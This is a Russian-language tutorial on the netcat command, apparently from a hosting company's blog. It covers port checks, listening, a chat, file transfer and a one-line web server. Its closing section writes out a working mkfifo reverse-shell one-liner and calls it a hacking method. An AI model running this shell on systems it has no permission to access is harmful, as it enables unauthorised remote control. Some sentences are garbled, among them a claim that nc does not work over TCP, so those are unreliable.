Команда netcat необходима для передачи и получения данных протоколами TCP и UDP. Она не отличается большим набором функций, но при этом её достаточно для проверки соединения и несложной отладки. Как общаться посредством протокола TCP? Этим вопросом задаются многие пользователи. В этой статье ответим на этот вопрос, с также покажем примеры реального применения команды.
Команда netcat (или nc) — это мощный инструмент для работы с сетевыми соединениями. Она часто используется системными администраторами и разработчиками для различных задач. Вот основные функции и возможности netcat:
netcat является универсальным инструментом, который может быть использован в самых разных сценариях, от простого обмена сообщениями до сложных сетевых операций.
Для начала рассмотрим синтаксис и наиболее востребованные:
Команда имеет следующий вид:
$ nc -параметры адрес порт(ы)
Дальше расскажем о способах применения команды.
Проверка – главное применение netcat. Следует использовать два параметра -vz, указать адрес и порт. Вы можете указать диапазон адресов, но в этом случае лучше отсеять только открытые порты с помощью команды grep. Проверим порты адреса локальной сети:
$ nc -vz 192.168.31.247 8080
$ nc -vz 192.168.31.247 1-1000 2>&1 | grep succeeded
$ nc -vzu 192.168.31.247 1-1000 2>&1 | grep succeeded
При этом нужно знать главное отличие TCP и UDP. Так в UDP порты всегда доступны.
Для прослушивания порта предназначен параметр -l. Его зачастую достаточно, но можете включить подробный режим:
$ nc -nlv 8080
Помните, что при использовании протокола TСP порт должен быть в свободен, иначе появится ошибка Already in use. При этом не все порты могут использовать обычные пользователи, например, 80 порт (HTTP), скорее всего, он будет занят другим процессом, и к тому же потребует прав суперпользователя.
Полезная способность команды - обмен данными. Простой пример – текстовый чат. Для того, чтобы запустить чат на одном компьютере запускаем утилиту в режиме прослушивания порта:
$ nc -lp 8080
На другом компьютере потребуется указать адрес первого компьютера и тот же самый порт. Также не забудьте проверить, что порт открыт:
$ nc 0.0.0.0 8080
Таким способом удастся отправлять и получать сообщения. То есть, команда предназначена для обмена файлами. Принцип такой же, за тем исключением, что необходимо перенаправить вывод в файл, а именно в paste.txt:
$ nc -l 8080 > paste.txt
На другом ПК вводом будет служить файл copy.txt. Не лишним будет использовать параметр -N, чтобы после передачи файла закрыть соединение:
$ nc -N 0.0.0.0 8080 < copy.txt
Для передачи файлов важно соблюсти последовательность, сначала открыть прослушивание и лишь потом отправлять файл. Команда nc – рабочий, но далеко не самый лучший способ передачи файлов. Есть для решения этой задачи более эффективные и полезные инструменты.
Простой веб-серверПоскольку команда NC не функционирует с протоколом TСP, она позволяет и отправлять, и получать запросы HTTP. Следовательно, утилита может стать простейшим веб-сервером. Да, ничего хитрей страницы-заглушки таким образом нельзя сделать, н операция практически не отнимет времени, а еще плюс в том, что не нужно ничего дополнительно инсталлировать.
На примере сформируем ответ HTTP с файлом index.html. Если же говорить о самой np, то не лишним будет установить таймер параметром -w 1, чтобы разорвать соединение, если этого не сделает браузер:
$ while true; do echo -e "HTTP/1.1 200 OK\n\n$(cat index.html)" | nc -l -w 1 -p 8080; done
Чтобы получить данные с веб-сайта, вы можете сформировать запрос и отправить его на советующий адрес и порт. Но такой способ довольно сложный, лучше использовать соответствующую CURL команду.
Исходя из рассмотренных выше примеров, не составит прийти к выводу, что команда позволяет организовать удалённый доступ к оболочке компьютера. Ранее утилита NC имела несколько параметров для открытия доступа к терминалу. Параметр -e уже давно убрали из утилиты, поэтому простого доступа к терминалу уже не будет. Безопасность самого приложения стала выше, но оно по-прежнему может работать в связке с другими.
Покажем подключение с помощью именованного канала mkfifo. В первую очередь запустим прослушивание порта на том ПК, на котором будем получать доступ:
$ nc -lvnp 8080
Перейдём непосредственно к команде для открытия терминала. Сначала удалим старый именованный канал (rm /tmp/f), на его месте создадим новый (mkfifo /tmp/f), прочитаем его содержимое (cat /tmp/f), а на его вывод отправим команду оболочки (sh -i 2>&1). После этого останется запустить nc с выводом в наш именованный канал (nc 0.0.0.0 8080 >/tmp/f):
$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 0.0.0.0 8080 >/tmp/f
Следует учитывать, что это один из способов взлома, однако, он может быть полезен в случае появления проблем с ssh. Для того, чтобы предотвратить атаку настраивайте политику безопасности и межсетевой экран.
Примените скидку, вставив промокод в специальное поле при оформлении заказа: